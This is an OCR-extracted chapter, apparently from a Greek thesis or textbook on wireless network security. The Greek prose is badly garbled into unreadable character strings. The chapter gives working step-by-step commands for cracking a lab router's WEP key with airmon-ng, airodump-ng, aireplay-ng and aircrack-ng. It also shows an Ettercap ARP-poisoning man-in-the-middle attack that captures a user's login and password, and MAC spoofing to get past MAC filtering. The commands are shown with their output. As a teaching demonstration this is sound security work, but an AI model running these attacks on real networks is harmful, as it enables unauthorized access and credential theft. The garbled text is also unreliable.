OTIOKPUTITOYPAPTOT) OAOKAT|PWVETAL LEGW TOV aircrack-ng (epyoAeio yia tnv
KpUTTOYpA@M o1 anavtnoewv ARP) kot Twv povadikwv maketwy IV's.

[l v avaktnon tov Wep kAelS1o00 elvat amapaitnn 11 cuAAoyr) apketwv IV's
TakETWV. Katd ) SLdpKeLa TG UOLOAOYLIKNG KIvN oG Tou SIKTUOU Sev TTapdyovTol
1600 TOAAQ TTOKETA 0 GUVTOUO XPOVIKO SLAG TN OEWPTTIKA EAV KATIOLOG E(VAL TTOAD
UTIOHOVETIKOG UTIOPEL VX CUAAEEEL TA TTAKETA TIOV XPELALETAL, OPWG VTIAPXEL HEBOBOG YL
™V EMTA)XLVVOT VTN NG Sladikaciog. Meow tng peBdSov ou amokaAeital “Injection
", To aoVppaTo onpeio mpdoBaons oTéAvel Eava Kol Eava ETAEYUEVA TIOKETA OAO KOl LLE
Lo PEYAAO puBPO. AuTi 1) Sladikaoia EMITPETIEL GTOV ETTIOEUEVO VA ATIOKTIOEL TA
TIAKETA IOV XPELALETOL GE CUVTOUO XPOVIKO SLAGTNUAL.

'Omwg @aivetat amd Ty TapakATw ekova, 0 Kwdikos WEP eivau: ADACEF2316
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Logged in 350 Cylass

Hemg = Hom Notvork > Infgriogns = WLAN: duncan themrview | Belails | Conligure
’ Home
- %‘ﬁ Wireless Access Point - duncan
Thomson Gatawa -
b ¥ + Configuration
ﬁ Broadband Connecton Trnértace Ensiled: ¥
= Physscal Address: 0241768 15157
ﬁ Toolbox Sprwark Nama (S5100: dumcan
. cf. Ui = 1 bl
a SR leanefoce Tyew B2 1 1big
Aghunl Speed: 54 Mbea
T fand: LA
Ireeriaces Chasmel Salechon: Afomatc =
?- Hdhﬁ Fopgtan: Eisrags
Chashals 1
aliow raulicast from o]
Broadband Metworic v
= Security
Bropdepst Network Nama: - )
Al New Devioss: Perw atabons e alcwed (via fe getraton) -
Encrypiron! Crosnbled

@ L WEF Encryphecn
Lz WRA-PSI Encryplion

WER Kay Length: i bit -
WER Encryphinn Ky | ASACEFFITE I

Pick a task...

Ewkova 22. Interface tov acUpuatov uéoov npocfaocng

1. Monitor mode - Atota AP

To mpwTo Bua elvat n aAdayn ¢ KATAOTAONS TNG KAPTAG SIKTVOV 0€ KATAGTAON
TapakoAovOnong (monitor mode). L& auTH TV KATAGTAON 1 KAPTA SIKTHOL TOV
ETTIOEPEVOL PTTOpEl Vo AGPBEL OA T TIAKETA TTOU SLAKLVOUVTAL GTO AGUPUATO S{KTLO
avti Hovo aUTWV Tov Tpoopilovtal yla ToV 6UYKEKPLUEVO VTIOAOYLOTY. ETtiong kat’
QUTOV TOV TPOTO SiveTal N SUVATOTNTA GTOV XPNOTH VU EVEPYOTIOIGEL TNV AsLTOUpYia
injection étoL wote va avinBeil n kivnon TakETWY 0TO SIKTLO KL VA OAOKAN pwBel
ypnyopotepa n 0An Sadikacia.

['a va tebel 1) kapta Siktvov o€ monitor mode kat va aAAayOei 1 Mac Address g
KAPTAG SIKTUOL TIOV XPNOLLOTIOLOVE, TTANKTPOAOYNONKAV TA TTAPAKATW OF HLA
KOVOOAQ:

1. airmon-ng
2. airmon-ng stop wlan0
macchanger --mac 00:11:22:33:44:55 wlan
start wlan0

To cVvoTNUX AVTATIOKPIONKE PE TA TTAPAKATW:
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root@bt: ~ - Shell - Konsole

Interface Chipset Driver

¥ | wlang Atheros athsk - [phy0]
(monitor mode disabled)

:~# macchanger --mac 088:11:22:33:44:55 wlan@

ent MAC: 80:15:af:86:0f:ad (unknown)
00:11:22:33:44:55 (Cimsys Inc)
t:-# macchanger -s wlan@
ent MAC: 00:11:22:33:44:55 (Cimsys Inc)
rootiEbt: # airmon-ng start wlan®

Interface Driver

wlan@ Atheros athsk - [phy®]
(monitor mode enabled)

Ewkova 23. MetatpoTmi) TI)¢ acVpuatis kaptag Siktvov o monitor mode

To airmon-ng elvat éva script to omoio pag fonbael va B€covpe TV KApPTA
SwtVov pag oe monitor mode. Eiong, pmopel va xpnoipomomn0el wote va
Yuplooupe TNV KAPTa SIKTUOV HAG 0€ KATAoTAo managed.

Xpnon airmon-ng:

airmon-ng {start|stop} {interface}[channel]

e To start|stop mpooSiopilel av Ba evepyoTOGOVHE 1] AV B ATIEVEPYOTIO)COVE
TNV KATACTAOT] monitor TG acVPUATNG KAPTAS LAS.

e To interface mpooSiopiet v kdpta Siktvov Y@ v omola BéAovue va
EVEPYOTIOU|OOVE,/ ATIEVEPYOTIOMCOVE TNV KATAGTAOT monitor.

e To channel mpoodiopilel To kavAdAL 0To 0TOl0 BEAOVE Vo SOVAEPEL ) KAPTA PO,
Tnv xpnoomoloVpe av yvwpifouue 116N o€ o KavaAl ekmépmel to AP atdyog.

To emopevo Brua eivat n dSnuovpyla piag Alotag pe ta voymea “Oopata” -
acvppata Siktua. [IANKTPOAOY®VTAG TV TAPAKAT® EVTOAN UTIOPECALE VA
evToTicovle To S(KTVO 0TO 0Tol0 B emMITEDOVUE KAl CUAAEEQE OTOLYEL TTOV TO
aQopPoLV.

{ 5. airodump-ng wlan0 }
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Session Edit View Bookmarks Settings Help

CH

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:24:17:6B:15:97 -59 94 ) 3 1 54e WEP WEP duncan

&) | @ shell |

root@bt: ~ - Shell - Konsole

11 ][ Elapsed: 48 s ][ 2018-88-15 13:18

: 8C -99 44 B 54 WPA2 CCMP  PSK US|
:19:D1:1B:C7 -161 2z 1 8 .31 . WPA CCMP PSK

STATION PWR  Rate Lost - Packets Probes

Eikova 24. Aiota ue ta Stabéoua aocvpuata Siktva tng meployng

To airodump-ng xpnolpomoleital ylax Tnv Kataypo@n maketwyv amo 802.11
Sixtua kat yia ) ovAdoyn twv WEP [Vs (Initialization Vectors). Emiong, pmopet
va xpnotpomomBel yia Tov evtomiopd twv Siktuwv 802.11 mov Bplokovtal evtdg

NG KAALYNG TNG KAPTAG LS.

AvaAvovtag Alyo TV Tapamave ELKOVA:

IV kaptéAa BSSID eugpavitetar n MAC address twv APs mov Bpiokovtal evtog
™6 eUPEAELG TNG KAPTAG LS.

Tnv xapteda PWR BAemoupe v 1oy TOU 01 UaTOG

Ymv kaptéAda Beacon BAémovpe ta beacon frames mov €xel govpe Aafel amod
k&Be AP

Ytnv kaptéAa #Data fAEmoOLE TA TAKETA IOV EYOVE AdfBeL amd kaBe AP

Ty kaptéda #/s BAEmovpe To pubUO e TOV OTIOL0 EpEIS OTEAVOULE TTAKETA OTO
AP

Iv kaptéAda CH BAémoupe To kavdAL 6To omoio Aettovpyel to AP

Imv kaptieda ENC BAémouvpe To €i80¢ TNG KPUTMTOYPAPNONG TOL
XPNooToLElTaL.

Ynv kaptéAda ESSID BAémovpe To Gvopa Tou SIKTUoU

'Otav vrtdpyovv cuvdedepévol TeEAdTEG ota AP ep@avifovtal KAT® amo QUTA To
OTOLELN TWV TIEAXTWV.
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Xp1non airodump:

airodump-ng {options} {interface}[,{interface},...]

Ot Baoikeg emMAOYEG lvat oL £€1G:

e --channel 1 -c: kaTeypoe TAKETA GTO CUYKEKPLUEVO KAVAAL

e --bssid : Emkevtwoov oto AP pe MAC SievBuvon

e --write 1 -w : Katéypape ta makéta mov AaufBdavels oe apxelo To omolo va
Eekvael pe ) ovpPorocelpd

o -rfile: AldBaoce makéta amd to apxeio file.

e --ivs: Mnv amoBnkeelg 0AOKAN PO TO TAKETO aAAQ povo to IV. Xpnoomoleltal
yx €€lkovOunom XwpPov 6To S§ioKo, waTOo0 S€ TTPOTEIVETAL T XP1|OT) TNG.

To interface mpoodlopilel TNV K&APTA SIKTVOU TIOV XPTCLUOTIOLEITAL WOTE VX
Kataypa@ouv ta makéta. [lapatnpniote OTL HTOPOVUE VA XPT|CLUOTIO|COUE TIOAAEG
Slema@Eg apkel va Tig xwploovpe pe KOPUA.

Ta otoyela MOV pag evdla@Epouv vy To acUppato diktuo elval to BSSID (Basic service
set identifier), To omoio pmopel va xapaktnplotel wgn “MAC Address” Touv onpeiov
mpdafBaong, To ESSID, To dvopa Tou SikTUov kat TEAOG TO KavAAL 0To oTtolo AetToupyel.
'Omw @aiveTal KoL Ao TNV TAPATAV® ELKOVA, TO ONHE0 TIPOCPACTG 6TO 0TOLO EYLVE N
emiBeom eiye:

BSSID: 00:24:17:6B:15:97
‘Ovopa: duncan
KavaAl Asttovpylag: 1.

2.XvAdoyn IV's

Ye auto To Brjpa Ba pEmeL va cuAAEXBoUV G0 TEplocdTEpA SlaviopaTa Evaping elval
Suvatov kat va amobnkevbolv o€ va apxeio. e pua kovooAa TANKTpoAoyelTaL:

{ 6. airodump-ng -c 1 -w dunc --00:24:17:6B:15:97 wlan0 }

e --00:24:17:6B:15:97 civain MAC address tov AP.
® -w &ilval To TpOBepa TOL OVOUATOG TOV apxelov Tov Ba meptExeL ta IVs.
e wlanO sivai to 6vopa tov interface

o -c1 gilval To KavaAL TG aoVPUATNS CVVEEON G

o dunc eivat To évopa Tov apyeiov oto omoio amodnkevovtat ta IV's

Meta amo Alyn wpa To cVGTNUA ATTOKPIVETAL:
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Session Edit View Bookmarks Settings Help

CH 1 ][ Elapsed: 4 mins ][ 2010-08-15 13:25

BSSID PWR RXQ Beacons #Data, #/s C(H MB ENC CIPHER AUTH ESSID
©0:24:17:6B:15:97 -59 160 2422 2332 83 1 54e WEP WEP OPN duncan
BSSID STATION PWR Rate  Lost Packets Probes

060:24:17:6B:15:97 00:11:22:33:44:55
00:24:17:6B:15:97 00:1D:E0:95:B9:68

Ewkova 25. ZvAdoyn IV's

3. Pevtikn tavtomoinon (Fake Authentication)

Zuvn 8w kata Tn cvvdeoT Pe aoVPUATO SIKTUO AXUPAVEL XWPA UL GUYKEKPLUEVT
Stadikaoia Tavtomonong Touv Xp1oTr. AuTr @AVETAL TTHPAKAT®:

1. Znteitat and to AP tavtomoinon.

2. To AP amoxpivetat. H tavtomoinon mpaypatomomnke
3. ZnteltaL amd to AP cuoxeTIoNAG.

4. Amoxplon tov AP. H oVvdeon ipaypatomonnke.

Y& ePIMTWOoN waTOG0 OV SEV UTIAPXEL EE0VCLOSATNON VTIAPXOLYV OL £E1G TIEPITITWOELG:

1. Avvglotatat mpootacia Siktvov WPA/WPA2 toTe amatteitat miotomoinon
EAPOL.

2. To AP €xel AMlota emtpenopevwy clients( addresses). ‘ETol pdvo ol cUGKEVEG
™G Alotag pmopovv va cuvdebovv. H Stadikacia autn ovopdletalr MAC filtering.
3. To AP xpnowuoTotel Shared Key Authentication, 6Tov tpémet va eloaxBel to
KataAAnAo avayvwplotikdo WEP yua va emitevxBein ovdeon.

Y10 mMelpapa pag avijKou e oTr SeVTEPT TIEPITITWOT] OTIOTE ETMLXEPELTAL Pl PEVTIKT
TOUTOTIOMON, TANKTPOAOYWVTAG:

7. aireplay-ng -1 0 -a 00:24:17:6B:15:97 -h 00:11:22:33:44:55 -e duncan
wlan0

Metd amd Alyn wpa To cLGTNUA ATTOKPIVETAL:
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Session Edit View Bookmarks Sefttings Help

CH 1 ][ Elapsed: 4 mins ][ 2018-88-15 13:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

08:24:17:6B:15:97 -59 100 2422 2332 80 1 54e WEP WEP OPN duncan
STATION PWR  Rate Lost Packets Probes

00:11:22:33:44:55 0] L= i
00:1D:E0:95:B9:6B -51 54e-54e

root@bt: ~ - Shell - Konsole <2
Session Edit View Bookmarks Settings Help

:~# airplay-ng -1 @ -a 00:24:17:6B:15:97 -h 00:11:22:33:44:55 -e duncan m

irplay-ng: command not found
ot@bt:~# aireplay-ng -1 @ -a 80:24:17:6B:15:97 -h 08:11:22:33:44:55 -e duncan

The interface MAC (0®:15:AF:86:0F:AD) doesn't match the specified MAC (-h).
ifconfig mon® hw ether ©0:11:22:33:44:55
Waiting for beacon frame (BSSID: ©6:24:17:6B:15:97) on channel 1

Sending Authentication Request (Open System) [ACK]
Authentication successful

Sending Association Request [ACK]

Association successful :-) (AID: 1)

Ewcova 26. YebTikn tavtomoinon

To aireplay-ng xpnoipomoteital yia va KAvou le inject TTAKETA 0€ KATIOLO ACVPUATO
Sixtuvo oto)o. H kOpla Aettovpyia Tov gival va Snuoupyrnoou e KUKAO@OpIiX TAKETWY
WOTE VA KATAYPAPOVE TIOAD TEPLOCOTEPA TIAKETA ATIO AUTA IOV AVTAAAGGCOVTAL
TPAYUATIKA 0TO 6{KTLO. 0TO00, UTToPEL va XpNoLpoTomnOel MOTE VA AVAYKACEL KATIOLOV
acvpuarto client va cuvdedei 1) va amoouvdebel amd To AP kol va eEKTEAEGEL PEVTIKEG
TILOTOTIOWOELG WOTE va ouvdeBoUie peig pe to AP otdxo (autd pag Bonbael otnv
TePIMTWOon Tov §ev LVTIAPYEL AAAOG TIEAATNG CUVSESEUEVOG).

EmBéosic mov vtootnpilovrat:

e Attack 0: Deauthentication (-0)

e Attack 1: Fake authentication (-1)

e Attack 2: Interactive packet replay (-2)
e Attack 3: ARP request replay attack (-3)
e Attack 4: KoreK chopchop attack (-4)

e Attack 5: Fragmentation attack (-5)

e Attack 9: injection test (-9)
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Xpnon aireplay :

aireplay-ng {options} {replay interface}

didtpa

[l 0Aeg TiG emBénels, ekTdg amo Tig deauthentication kat fake authentication, umopouvpe
V0L XPTOLUOTIO GOV E TA €ENG @IATpO:

e -bbssid: H MAC 8tevBuvon tov AP atoxov
e -m length: EAdyioto péyebog miaioiov
e -nlength: Méywoto péyebog mraicsiov

4. Artijoeig ARP

Me ) Bonbewx Tov aireplay-ng pmopovv va otaiolv onjpata 6to AP wote va Tov
KAVOUUE VO OTEAVEL TTIEPLOCOTEPA TIAKETA SeSopeévwy otov client. Emiong eivat Suvati n
Snuovpyla evog etkovikot client, o omoiog Ba avnoel oNUAVTIKAE TNV Kiviion Twv
TAKETWV SES0UEVWVY 0TO SIKTUO Yl T1) GUAAOYT] TteploooTEpWV [Vs.

[TANKTpOAOYWVTAG :

{8. aireplay-ng -3 -b 00:24:17:6B:15:97 -h 00:11:22:33:44:55 wlanO}

Eekvael n Stadikaoia ™G akpdaons Twv ARP aitrjoewv kal g “éveons” TaKETWV.

To cVvoTNUA GUVTOUX AVTATIOKPIVETAL:

root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookmarks Settings Help

irplay-ng: command not found
# ailreplay-ng -1 © -a ©0:24:17:6B:15:97 -h 00:11:22:33:44:55 -e duncan

The interface MAC (08:15:AF:86:0F: esn't match the specified MAC (-h}.
ifconfig mon® hw et 0 Z 55
wWaiting for beacon frame (BSSID: ©90:24:17:6B:15:97) on channel 1

Association successful

# alreplay-ng -3 -b 00:24:17:6B:15:97 -h 00:11:22:33:44:55 mon@
erface MAC (98:15:AF AD) doesn:t-match the specified MAC (-h}.
ifconfig mon® hw ether 8©:11:22:33
ng for beacon frame (BSSI :17:6B:15:97) on channgl 1
quests in replay arp-0815-132727.cap
You should also start airodump-ng to capture replies.
Eead 234395 packets (got 51466 ARP requests and 947 ACKs), sent 56340 packets... (500 pps)

@ shell [

Ewkova 27. 'Eveon makéTwv
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Me auto Tov TpoTo emoTeVSeTaL 1) Sladikacia a@ov dnulovpyeitat kiviion mov
Ba Bonbnoel otV Taxvtepn avaktnon tov WEP kwdikov.

5. H amoktnon tov “kAeldov”

0 0T0)X06 TOU TEAEVTALOV PIHATOG ElVaL 1) AVAKTNON TOU PUOTIKOU KAELS1ov WEP.
[TAnkTporoywvTag:

{ 9. aircrack-ng -n 64 -b 00:24:17:6B:15:97 dunc-01.cap }

‘Otov

-b 00:24:17:6B:15:97: eméyeL to AP yia o omolio evliapepdpacte

dunc-01.cap: to apxeio pe Ta amoBnkevpeva IV's

Méoa og Alya Aemtd to kAel§i WEP Ba vmodoyilotel kat Ba mapovolaotel oty
0006vn. ZuvnBwg xpetdlovtat 250.000 IVs yia kAeld1d 64 bits kat 1.500.000 Ivs
ywx kAeld1d 128 bits.

To ocVoTNUA HECH OE Alya AETITA QTTOKPIVETAL:

Session Edit WView Bookmarks Settings Help

Opening dunc-81.cap
Attack will be restarted every 5800 captured ivs.
Starting PTW attack with 285711 iwvs.
KEY FOUND! [ A9:AB:EF:23:16 ]
Decrypted correctly: 108%

Ewkova 28. Aroktnon tov kAsLStov

To aircrack-ng elval 1o gpyaAelo TmOU XPNOLUOTOLOVHE YL VX OTACOUUE TO KAELSL
KpumToypa@nong evog AP. (¢ elco80g xpnoomolelTal Eva apyelo PE TIAKETA TIOU EXEL
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kataypdel To airodump-ng. To aircrack-ng yi va omdoel To KAeLSL xpnolpoToLel Tig
€N¢ peboddoug:

e PTW
e FMS/ KoreK (default)
e Dictionary attacks

Xp1non aircrack:

aircrack-ng [options] {capture file(s)}

oL BaGLKEG EMAOYEG IOV HTIOPOVE VA XPT|CLULOTIOL| GOV LE ELVLL:

e -amode: kaBopilel To €idog NG emiBeong. (1 = static WEP, 2 = WPA/WPA2-PSK)

e -bbssid: KaBopilel to Siktuo atoxo. To bssid eivat MAC address tov AP
otdyov

o -c: XpNGOLUOTIOINGE HOVO 0AQAPLOUNTIKOUGS XOPAKTIPES YA Vo BPELS TO KAELST

e -t: Xpnolpomoinoe povo Sekaefadikoug xapakTnpeS yla va Bpelg To kAelsi

e -h: Xpnowomoinoe povo aplBuntikovs XapaKTIPES YIA VUL OTIACELS TO KAELST

e -n: kaBopilel To U1KOG TOL KAELSLOU (64 Yia 40-bit WEP Key, 128 ywx 104-bit
WEP Key). To default ivat to 128.

o -ffudge: To default eivat to 2 yia kAeldt 104 bit kat 5 yia kAeldi 40-bit.
KaBopiote o peydin tyun vy va avénoete tnyv eniBeor tou brute force.

e -kattack: Ymapyxouvv 17 embéoeig KoreK. Mmopeite va TI§ amevepyomon|oeTe
0étovtag -k 1, -k 2 KA.

e -7: Xpnowomoinoe v texvikn PTW, to default sivai ) teyvikn FMS/ KoreK

e -w: (l'a WPA) KaBopilet To path yia kamoto wordlist

4.3 MAN IN THE MIDDLE

‘Eva até Ta o cuxva 161 emBéoewv o€ ToTKA acVppata diktua, etvaln emiBeon Man
in the Middle. Z¢ pia tétola emiBeom, 0 eMITIOEUEVOG VTTOSVETL TO ACVPUATO UEGO
mpooPaong pEocw ¢ texviknis “ARP poisoning” xat otn cuvéxela cuAAapfavel kat
TPOTIOTIOLEL TAL TTAKETAL.

To ARP spoofing (mAaotonpoowmneia ARP) 1) ARP poisoning (6nAntnpiaon ARP) ivat
évag Tumog mapafiaong og SikTuo UTIOAOYLOTWY TO 000 BACI{ETAL GTO TIPWTOKOAAO
ARP.

'Evag eEwtepkog xpnotng pmopel, avapetadidovtag AavBaopeva taketa ARP, va
UTEPSEPEL TOUG AAAOUG UTIOAOYLOTEG TIOU OVITKOUY 0TO SIKTLO Kal va oTeAouv SeSopéva
o€ GAAoV VTIOAOYLOTN XWPIS va To avTiAn@Bolv. Tote elval Suvat) 1 TapakoAiovOnon
™G emkowvwviag. To peyadvtepo evila@Epov o€ pla TETOlX emiBeoT BplokeTal oty
ATOKTNON MUOTIKOV KWSLKWV TIOU TANKTPOAOYOUVTAL ATO TOUS avuTioY {aaTouG
XPNOTEG TOV SIKTVOV.

‘Eva amd Ta mo xproipa epyaieia ya emibéoels Tou eidoug oto Backtrack eivat to
Ettercap. To TpOYpOUUX QUTO ATIOTEAEL OVCLACTIKA EVAL GET EPYAAEIWV TIOV
Xpnowomotlovvtal o€ emiBecelg Man in the Middle. To poypappa mapExeL tnv
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SuVaTOTNTA TAPAKOAOVONONG EVEPYWV CUVOEGEWY, TO QIATPAPLOUA SESOUEVWVY KOL
TOAAQ dAAa evSLaepovta Bepata. (Ethercap, 2010)

['la TNV €KKIV O TOV TTPOYPAUUATOS OE YPAPIKO TEPLBAAAOV, TANKTPOAOYOUE O
KOVOoOAQ:

ETTERCAP -G

Edv, 0Ttwg otnyv TepinmTwon pag, To TpOYpAUA XproLHoToLeital o€ éva Siktuo pe WEP
mpootacia, Oa mpémel va xpnopomomnOel kat to mpdOepa W yla thv
OTIOKPUTITOYPA PN 0T TWV TTAKETWY, OTOTE TIANKTPOAOYElTAL:

{ ettercap -w key_length:string_or_passphrase:wep_key -g }

‘Omov:

KEY_LENGTH: EINAI TO METE®OZ BIT TOY KAEIAIOY (64, 128, 256)
STRING_OR_PASSPHRASE: EINAI P I'lA KQAIKO H STIA AA®API®OMITIKO
wep_key: eivat to kAel6t WEP

Emopévwg gppaviletal To Tpoypoppa:

TKOTOG pag elval 1 tapakoAovBnom evos Siktvou Tov Bpioketal ato (510 vTToSikTUO e
T0 81k0 pag, omdte emAeyetal Options >> Set Netmask kol elodyetal To vToSiKTULO
255.255.255.0

File Sniff Options Help

"ETEE

4
Netmask : [255.255.255.0]

Hok | %gancew —

Ewkova 29. Enidoyr) Netmask sto Ettercap

Y1t ovvéxela mAnktpoAoyeital Sniff >> Unified Sniffing kot etlodyetal to interface mov
B€AouEe va XPNOLLOTIO| OOV IE.
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File Sniff Options Help

Metwork interface 1wlar10

oK I ﬁgancell

Ewcova 30. Enidoyn) Interface oo Ettercap

AxoAo00w¢ avalntovvtal oL xpnoteg Tou Siktvov. EmAéyetar: Hosts >> Scan for hosts
Kol peTa amd Alya Aemttd: Hosts >> Host List. Me quti] TV emiloyn €xoupe )
SuvatotnTa va 600 e TOUG XPNIOTEG KAl ETMAEEOUUE TO 0TOYO.

ettercap NG-0.7.3

Start Targets Hosts Miew Mitm  Filters Logging Plugins Help

Host List &8

Description

IP Address MAC Address
3 SD:E 2
192.188.10.5 02:22:56:FF:35:21
122.168.10.254 00:24:17:68:15:96

Delete Host Add to Target 1 Add to Target 2

aasaaas

1658 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmaslk for 255 hosts...
3 hosts added to the hosts list...

Host 192.168.10.254 added to TARGET1
Host 192.168.10.3 added to TARGET2

Ewkova 31. AloTa pe T0UG UTTOAOYIOTES TOV SUKTUOV
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E@odoov emidexBoUv ot otoyol, Eekva 1 Stadikaoia tov ARP poisoning (Mitm >> Arp
poisoning... ). Zto mapdBupo mov avadeletal emiAéyOnke: Sniff Remote Connections
kot OK.

Start Targets Hosts Miew Mitm FEilters Logging Plugins Help

Hiost List 38

IP Address MAC Address Description
192.168.103  94:0C:6D:E1:D3:CO

192.168.10.5 02:22:56:FF:35:21
NI = =) MITM Attack: ARP Poisoning & =

-Optional parameters-

= isniff remote connections .
[1 ©nly poison one-way.

Delete Host | | d to Target 2 ]
= &=l Ok Cancel =
! <7 &

1698 tcp OS ﬁmgerpr!._ =
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
= hosts added to the hosts list...

Host 192.168.10.254 added to TARGET1
Host 122.168.10.32 added to TARGETZ2

Ewkova 32. Aiabikaoia Arp poisoning

TéMog, emAéyetal: Start >> Start sniffing yix to exivipa.

MeTd amod 6Aa Ta TapaTdvw PRUATA, EAV 0 XPTOTNG TOV UTIOAOYLOTH] IOV TIAYLSEVOAUE
ELOAYEL KATIOLOV KWOLKO 1] Ovoua, B UTIOPEGOVE VAL TOV AVAKTI|OOVUE AUECAL.

ettercap NG-0.7.3

Start Targets Hosts View Mitm  Filters Logging Plugins Help

Host List g8 Connections 5 ‘

] Host I Port ]—| Host | Bt ] Proto] State 1 Bytes I <]
152.168.10.3 56666 - B0.202.18.208 12415 T killed 0
192.168.10.3 53581 - 79.217.202.218 15812 U idle 103
192.168.10.3 53581 - B88.192.51.145 34716 U idle 380

3 U idle !
122.188.10.3 535BL - 70.121:.37.250 21728 U idle
152.168.10.3 53581 - 68.115.2.32 26537 U idle
192.168.10.3 53581 - 93.70.162.16 18199 U idle -—]
192.168.10.3 53581 - 217.237.73.234 64564 U idle
182168103 56667 - 79.180.180.46 12835 T opening O
192.168.10.3 56668 - 89.180.78.211 37858 T opening O
192.168.10.3 56669 - 93.172.39.133 3511 °F opening O
192.168.10.3 56670 - 95.172.187.8B9 61219 T opening O

View Details Kill Connection Expunge Connections

GROUP 2 : 192.168.10.3 94:0C:6D:EL:D3:CO
Starting Unified sniffing...

Unified sniffing already started...

HTTP : 192.168.10.254:80 > USER: cytauser PASS: cytauser INFO: 192.168.10.254/styles.css
HTTP :192.168.10.254:80 = USER: cytauser PASS: cytauser INFO: 192.168.10.254/images/
banner back.aif

i e

Ewkova 33. Katdotaon napakoiovbnong



68 | Kedaiato 4. Emalovtag v AcVppatn Ac@aiela

4.4 MAC SPOOFING

H emiBeon MAC Address Spoofing elval éva oAU xprioLpo epyaielo Lo TO OTIAGLHO EVOG
Siktvou 1 Sokuwyv Sleioduong o Siktvuo.

Mua 8tevBuven Media Access Control (8tevBvven MAC) givat évag Sexaefadukdg
OELPLOKOG aplOUOG 0 0Troi0G elval HoVadIKOG Yo KABE SIKTUAKT) GUGKEUT) G€ OAO TOV
TAaVNTN. O aplBUOG EXEL TN LOPEN XX:XK:XXIXX:XX:XX, YLO TTAPASELY Ll
0B:23:D1:C5:B4:08.

Kabe edeyktng Staovvdeonc Siktuou (NIC) xet pla povadikny Media Access Control
StevBuvon (MAC address) amo tov katackevaotr). H §iebBuvon MAC xpnoiuedel otnv
QVTOAAXYT) UNVUUATWY UETAED SIKTUAK®V GUGKEV®V. O aplOUdS aUTOG ATTOKAAVTITETAL
atmo Tov amootoAéa (source) otov mapaAnmn (destination) katd ™ Stdpkela ™G
ETIKOLVWVIAG.

H emiBeon MAC Address Spoofing elval pa texvikn aAdoiwong g TpokaBoplopeEVNG
LOKN G SlevBuvong MAC pLag kapTag SIKToU Yl KaAoUg 1 KakoUG Adyous. H aAAaym
™¢ StevBuvong MAC pmopel va emitpéPel Ty mapakapum eAéyywv mpocfaong ot
routers 1 servers, va amoKpUPEL TOV UTTOAOYLOTN O€ €va S{KTLO 1) Vo ETILTPEPEL O€
KATI0L0V v UTTOSUOEL KATIOLOV GAAO XpNOTN.

Ynv mepintwon tov MAC Address Spoofing 6pwg vapxel Kot emAoyn g emiBeong
HEow aAAayn G o€ vAKO (hardware). H Avon autr] tpodTo0ETel TNV aAAayr] TwV
EEPROM47 pubuicewv oe pla kdpta Stacvvéeons Sikthov. Autd dpws mepAauBavel
TEPLOOOTEPES TEXVIKEG YVWOELG ATtO OTL i AVo1 A0YLOULKOU.

Ymapyovv Siaopa epyadeia (software) pe ) forBela Twv omoiwv pmopei va yivel pia
eniBeon MAC Address Spoofing. Mepika amo avtd elva:

e Technitium Mac Address Changer (Windows)
e SMAC (Windows)

e iproute2

o ifconfig

e macchanger (Backtrack)

To epyaieio Tov xpnowomomOnke otnv TEPIMTWON TOU SIKTVUOV LG TAV TO
macchanger tov Backtrack. To cuykekpipévo TTpOYpPOPHIA LG ETILTPETIEL TNV XAAAYT) TNG
StevBuvong MAC ywx oxedov kaBe kdpta SikTiov IOV AELTOUpYEL OE oMuEPIVA
Aettovpykd cuotnpata. To acVPPATO SIKTUO IOV EXOVUE SEXETAL CUYKEKPLUEVES
VTIOAOYLOTEG e ouykekpLuéves MAC SievBuvoelg. H Stadikaoia g emAoyng Twy
StevBvvoewv MAC Tov Ba Sexetal To S{KTLO YIVETAL HECW CUYKEKPLLEVWV ETIAOYWV YLX
TIG GUOKEVEG TIOU B ETITPETETAL VA GUVEEOVTAL OTO CUCTN AL

'Omwg @aivetat amd TV TAPAKATW EIKOVA, AUTO TIOU £X0VLE VX KAVOUUE ival va
emAEEouie ol oTabpol va cuvdéovtal péow eyypa@ns. Ztnv emioyn Allow new devices
Stdéyovpe new station are allowed (via registration). £ tn cuvEXELX KALKAPOULE TNV
emAoy search for wireless devices, mov Bpioketal 6To T€A0g TG oeAidag. ‘OAeg oL
OUOKEVEG 0L 0TIOIEG B ETILXELPT)OOVVY VX GLUVEEDOUV GE QUTO TO XPOVIKO SLACTNUA, Elval
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QUTEG TIOV Bt ETILITPETETAL VA ELGEPYOVTAL 6TO VAT UA. To @ATPAPLOUA YiVETAL HECW
¢ Mac Address.

Thomson TG782 @ cyta
Logged in as: cytausel

Home > Home Network > Interfaces > WLAN: duncan Overview | Details | Configure

Home

Thomson Gateway

m Wireless Access Point - duncan
g

+ Configuration

De2Mma

Broadband Connection Interface Enabled:
Physical Address: 00:24:17:68:15:97
Toolbox Network Name (S5ID): duncan
Interface Type: B802.11b/, -
Home Network g
Actual Speed: 54 Mbps
Devices Band: 2.4G Hz
Interfaces Channel Selection: Automatic -
7 Help Region: Europe
Channel: 1
Allow multicast from

Broadband Network:
+ Security
Broadcast Metwork Name:
Allow New Devices: MNew stations are allowed (via registration)
Encryption: () Disabled
@ Use WEP Encryption
() Use WPA-PSK Encryption

WEP Key Length: 64 bit A
WEP Encryption Key: AJACEF2316
Apply

Pick a task...

BJ Search for wireless devices

Ewdva 34. Interface tov onueiov mpéoPaocng

Emiotpé@ovtag oto kevtpkod pevoy (Home Network), éxovpe tn Suvatotnta va §oUpe
N OUOKELN TTOU GUVEEBMKE, KaBw¢ kal Tnv Mac Address Tov TG AVTIOTOLXEL

ZUU@®VA AOLTIOV LLE TOUG TTEPLOPLO UGG TIOV TiBevTaL péda aTrd TO AGVPUATO HEGO
TPOoPaonG, 0ToL0GSTOTE AAAOG UTIOAOYLOTHG, 0 0TIOL0G SEV AVI|KEL € AUTH TNV AloTA
Sev umopel va €xel TpdoPacn oto acVppato Siktuo.

E@odoov kamolog yvwpilel mv SlevBuvon mov mpémel va “vrtoduBel” o VTTOAOYLG TG TOV,
N emiBeon yivetal pa e0koAn vToBeom. A@ov avoifovpe eva Teppatikd oto Backtrack
TIANKTPOAOYOUE:

1. iwconfig wlan0 down

2. macchanger - - mac 00:11:22:33:44:55 wlan0
